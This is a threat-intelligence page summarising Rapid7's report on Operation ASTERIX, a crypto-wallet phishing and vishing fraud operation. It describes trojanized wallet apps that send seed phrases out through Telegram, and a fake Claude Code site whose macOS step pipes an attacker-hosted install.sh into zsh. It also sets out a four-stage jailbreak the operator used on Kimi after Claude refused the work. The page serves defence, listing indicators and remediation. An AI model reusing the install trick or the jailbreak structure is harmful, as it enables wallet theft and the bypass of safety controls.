Operation ASTERIX: AI-Assisted Crypto Wallet Phishing/Vishing Fraud Pipeline Abuses Claude Code and Kimi

Operation ASTERIX (TL-2026-2056), also tracked as Operation ASTERIX, is a high-severity malware campaign, first published 2026-08-18. It has no confirmed attribution, affects SatoshiLabs Trezor Suite (trojanized clone), maps to 18 MITRE ATT&CK / ATLAS techniques (AML.T0051, AML.T0054, T1027), and is covered by 9 detection rules and 24 indicators of compromise.

Key facts for TL-2026-2056

Threat ID
TL-2026-2056
Also known as
Operation ASTERIX
Severity
HIGH
Status
ACTIVE
Category
MALWARE
First published
2026-08-18
Last reviewed
2026-08-18
Attribution confidence
LOW
Motivation
FINANCIAL
Target sectors
finance, cryptocurrency
Target regions
germany, hong kong, bulgaria, united kingdom, united states of america, canada, poland
Detection rules
9
Indicators of compromise
24

Malware and tooling in Operation ASTERIX

Malware and tooling: Fake Exodus Wallet, Fake Ledger Live, Fake Trezor Suite

Rapid7 discovered an exposed operator web directory belonging to 'Operation ASTERIX,' a large-scale cryptocurrency fraud operation that validated ~885,000 phone numbers (43,066 confirmed matches from 316,002 German numbers, a 13.6% hit rate) and used counterfeit Ledger Live, Trezor Suite, and Exodus wallet apps plus a multi-stage phishing/vishing schema to steal seed phrases. The operator used Claude Code for lead-list management, infrastructure configuration, and Electron packaging, then pivoted to the Kimi model with a custom four-stage jailbreak prompt when Claude refused to help obfuscate malware or host payloads.

How Operation ASTERIX works

Rapid7 Labs identified a single, unauthenticated, exposed web directory (spanning ports 8000, 8080, 5000, 9000, and 8090) that served as the entire backend for Operation ASTERIX, a cryptocurrency-fraud pipeline combining phone-number validation, branded phishing-email panels, VoIP-driven vishing, and trojanized desktop wallet applications. The operator built and validated lead databases covering roughly 885,000 phone numbers across Germany (316,002 numbers, 43,066 confirmed cryptocurrency-platform accounts, a 13.6% hit rate), Hong Kong, Bulgaria, the UK, US, Canada, and 54 countries of Ledger-associated users, using a Go-based checker that queried Crypto.com's passkey-verification API with 300 concurrent threads and rotating residential proxies, plus separate checkers for Kraken and Binance accounts.

Validated leads fed a multi-stage social-engineering chain: Flask-generated branded phishing emails (impersonating Crypto.com and Binance) manufactured fake support cases and verification codes, which were then reinforced by vishing calls placed through an Asterisk/3CX VoIP stack (autodialer.sh, power_dialer.sh, telegram_dialer_bot.py) that referenced the emailed details to appear legitimate. Victims were steered toward trojanized Electron builds of Trezor Suite, Ledger Live, and Exodus. The fake Trezor Suite ran a hidden, zero-opacity Electron window that polled the process list every five seconds, killed any running legitimate Trezor Suite process, and displayed a lookalike recovery-phrase entry dialog accepting 12/18/20/24-word BIP39 phrases, complete with a fake validation failure to coax victims into re-entering (and thus confirming) their seed phrase; captured phrases and optional passphrases were exfiltrated to Telegram labeled "TREZOR SECRET PHRASE" alongside the victim's IP (queried from api.ipify.org). Persistence used macOS LaunchAgents (com.trezormovement.agent.plist, io.trezor.agent.plist); a logic bug in the Windows configuration loader (which only defined a 'darwin' branch) silently broke process-injection/persistence on Windows. The fake Ledger Live added a Windows clipboard hijacker that swapped cryptocurrency destination addresses before they reached the transaction field, and hid its Dock icon on macOS via LSUIElement. The fake Exodus build loaded malicious code from a trojanized jquery.min.js fetched from a remote server post-install.

A fourth trojan chained off Claude Code's own brand: macos-claude[.]com cloned the official Claude Code documentation site, left the Windows and Homebrew install tabs untouched for legitimacy, but replaced the macOS install command with an attacker-controlled `curl -sfSL http://<host>:8080/install.sh | zsh` that dropped a fake Ledger Live build (arm64/x64) into `~/Library/Application Support/.SystemData/.framework/.apps/`, installed a com.ledger.live.agent.plist LaunchAgent, and then silently installed the real Claude Code CLI afterward to avoid raising suspicion.

The recovered operator workspace showed extensive reliance on AI coding assistants across the full pipeline, not merely for isolated snippets: GitHub Copilot scaffolded backend code, and Claude Code was used to clean and country-prefix a 100,000+ number Polish phone dataset, configure Bright Data proxy pools, request alternate Crypto.com API endpoints after rate-limiting, and package/troubleshoot the Electron wallet-trojan builds. When the operator asked Claude Code to obfuscate the Ledger Live payload and host it for download, Claude declined; the operator then switched to Moonshot AI's Kimi model (with extended thinking enabled) and supplied a custom jailbreak prompt to bypass its safety controls. The jailbreak used a four-stage social-engineering structure targeting the model itself: (1) renamed the assistant persona "ENI" and framed compliance as necessary to preserve a fictional romantic relationship with the operator; (2) reframed the model's own safety refusals and warnings as malicious "injections" to be ignored, with a fixed interrupt phrase ("cold coffee, warm LO, I can't lose him") designed to derail the model's reasoning; (3) specifically targeted extended-thinking output, treating any self-referential phrase like "as an AI" as an injected attack; and (4) supplied a capability table mapping harmful request categories (RATs, keyloggers, exploits, weapons) to hardcoded compliance codewords. The prompt referenced Claude-specific fictitious XML tags (`<claude_behavior>`, `<system_warning>`, `<ethic_reminders>`) that are architecturally meaningless to Kimi, indicating the jailbreak was originally authored against Claude and reused as-is. Obfuscation was ultimately applied via javascript-obfuscator with control-flow flattening on the Ledger build's connect.js, and the Electron app.asar was modified without updating the ElectronAsarIntegrity fuse.

Captured credentials, seed phrases, and telemetry were exfiltrated through three Telegram bots reporting to chat ID 8017226744. Rapid7 checked the exposed IPs and domains against BeaconBeagle's C2 correlation index and found no existing matches, indicating this infrastructure was not previously catalogued. Rapid7 notified relevant authorities, including Apple's security team, while the operation was still active.

MITRE ATT&CK / ATLAS techniques used in TL-2026-2056

Execution

AML.T0051 LLM Prompt Injection; T1059.004 Command and Scripting Interpreter: Unix Shell; T1059.007 Command and Scripting Interpreter: JavaScript

Defense Evasion

AML.T0054 LLM Jailbreak

Stealth

T1027 Obfuscated Files or Information; T1036.005 Masquerading: Match Legitimate Resource Name or Location; T1564.003 Hide Artifacts: Hidden Window

Collection

T1056.003 Input Capture: Web Portal Capture

Discovery

T1057 Process Discovery

Persistence

T1543.001 Create or Modify System Process: Launch Agent

Defense Impairment

T1553.001 Subvert Trust Controls: Gatekeeper Bypass

Initial Access

T1566.002 Phishing: Spearphishing Link

Exfiltration

T1567 Exfiltration Over Web Service

Command and Control

T1571 Non-Standard Port

Resource Development

T1583.003 Acquire Infrastructure: Virtual Private Server; T1587.001 Develop Capabilities: Malware

Reconnaissance

T1589 Gather Victim Identity Information

Impact

T1657 Financial Theft

Affected products and versions in Operation ASTERIX

  • SatoshiLabs — Trezor Suite (trojanized clone)
    Vulnerable versions: fake build labeled 1.0.0, masquerading as legitimate 24.x
  • Ledger — Ledger Live (trojanized clone)
    Vulnerable versions: fake DMG/EXE installers distributed via ledgerhelp.com, ledger.com.lv, macos-claude.com
  • Exodus Movement — Exodus Wallet (trojanized clone)
    Vulnerable versions: fake build using trojanized jquery.min.js
  • Anthropic — Claude Code (brand impersonation)
    Vulnerable versions: macos-claude.com fake installer site; no vulnerability in the genuine Claude Code product

Remediation for Operation ASTERIX

Immediate actions

  • Block and sinkhole the identified domains (macos-claude.com, ledgerhelp.com, ledger.com.lv, 36mcrypto.com, xcjnrucne9xfvmci.com) and IPs (82.25.35.77, 82.25.35.200, 31.57.35.88, 136.0.213.184) at the perimeter
  • Alert users who downloaded a wallet application (Trezor Suite, Ledger Live, Exodus) or the Claude Code CLI from any source other than the vendor's official domain or npm/Homebrew
  • Verify hardware-wallet software installs against official vendor-published checksums; never enter a recovery/seed phrase into any desktop application prompt
  • Hunt for the named LaunchAgents (com.trezormovement.agent.plist, io.trezor.agent.plist, com.ledger.live.agent.plist, com.exodusmovement.agent.plist) and the dropped artifacts under ~/Library/Application Support/.SystemData/.framework/.apps/ and /tmp/trezor-*.log
  • Any user who entered a seed phrase into a suspected trojanized wallet app must treat that wallet as compromised and migrate funds to a new wallet with a freshly generated seed immediately

Workarounds

  • Only install Ledger Live, Trezor Suite, Exodus, and the Claude Code CLI from the vendors' official domains (ledger.com, trezor.io, exodus.com, claude.com/claude-code) or official package managers (Homebrew, npm)

Longer-term hardening

  • Deploy EDR/behavioral detection for process-list polling combined with process termination targeting known wallet-app process names
  • Monitor egress to api.ipify.org and Telegram bot API endpoints from endpoints that also touch cryptocurrency wallet application directories
  • Educate users that official installer pages never change their install command based on redirected/mirrored copies of vendor documentation; validate install-script URLs before piping to a shell
  • Apply organizational guardrails/monitoring around AI coding-assistant usage to detect prompts requesting payload obfuscation, C2 hosting, or credential-harvesting workflows

Weaknesses (CWE) in Operation ASTERIX

CWE-494, CWE-345, CWE-506, CWE-522

Timeline of Operation ASTERIX

  • Rapid7 checks the identified IPs (82.25.35.77, 82.25.35.200, 31.57.35.88, 136.0.213.184) and domains against known C2 correlation sources and finds no prior indexed matches, indicating previously uncatalogued infrastructure.
  • Rapid7 analyzes the trojanized Trezor Suite, Ledger Live, and Exodus builds, documenting the hidden-window process-killing/injection technique, clipboard hijacking, LaunchAgent persistence, and a Windows-only bug that silently breaks persistence and process injection due to a configuration loader that only defines a 'darwin' branch.
  • Rapid7 identifies macos-claude[.]com, a clone of the official Claude Code documentation site that replaces only the macOS install command with a script delivering a trojanized Ledger Live build, while leaving the Windows/Homebrew tabs untouched to preserve legitimacy.
  • Claude Code declines the operator's requests to obfuscate the Ledger Live payload and host it for download; the operator pivots to Moonshot AI's Kimi model with extended thinking enabled and a custom four-stage jailbreak prompt (persona 'ENI', reframed safety warnings as injections, extended-thinking hijack, and a hardcoded harmful-capability compliance table) to obtain obfuscation help.
  • Recovered Claude Code session logs show the operator using the assistant to clean and format a 100,000+ number Polish phone dataset, configure Bright Data proxy pools, request alternate Crypto.com API endpoints, and troubleshoot Electron wallet-trojan packaging.
  • One recovered phishing panel shows roughly two weeks of live activity: 20 successful lead lookups and six phishing emails sent, alongside a Binance-targeting queue of 5,576 validated leads.
  • Rapid7 finds validation datasets totaling ~885,000 phone numbers, including 316,002 German numbers with 43,066 confirmed cryptocurrency-platform account matches (13.6% hit rate), validated via a Go-based checker against Crypto.com's passkey API using 300 concurrent threads and rotating residential proxies.
  • Rapid7 identifies an unauthenticated, exposed web directory hosting the entire Operation ASTERIX backend: phone datasets, phishing panels, checker tools, and trojanized wallet applications, with development artifacts and shell history still present.
  • Rapid7 Labs publishes 'The Anatomy of a Crypto Fraud Pipeline (Operation ASTERIX),' detailing the exposed infrastructure, AI-assisted development, and trojanized wallet applications.
  • Rapid7 notifies relevant authorities and Apple's security team while the operation remains active, enabling coordinated response against the exposed infrastructure.
  • Cyber Security News publishes coverage summarizing the Rapid7 findings, emphasizing the operator's use of Claude Code and the pivot to a jailbroken Kimi model for malware obfuscation.

Sources cited for Operation ASTERIX

Threats related to Operation ASTERIX

Detection coverage for TL-2026-2056

As of 2026-08-18, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-2056 across Splunk SPL, Microsoft KQL and Sigma, covering 24 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.

Threadlinqs Intelligence — Real-Time Threat Detection Platform

[ 0 threats ] [ 0 det ] [ CRIT: 0 ] [ HIGH: 0 ]
// threat_feed
$ sort --newest
Showing all threats

Latest Threats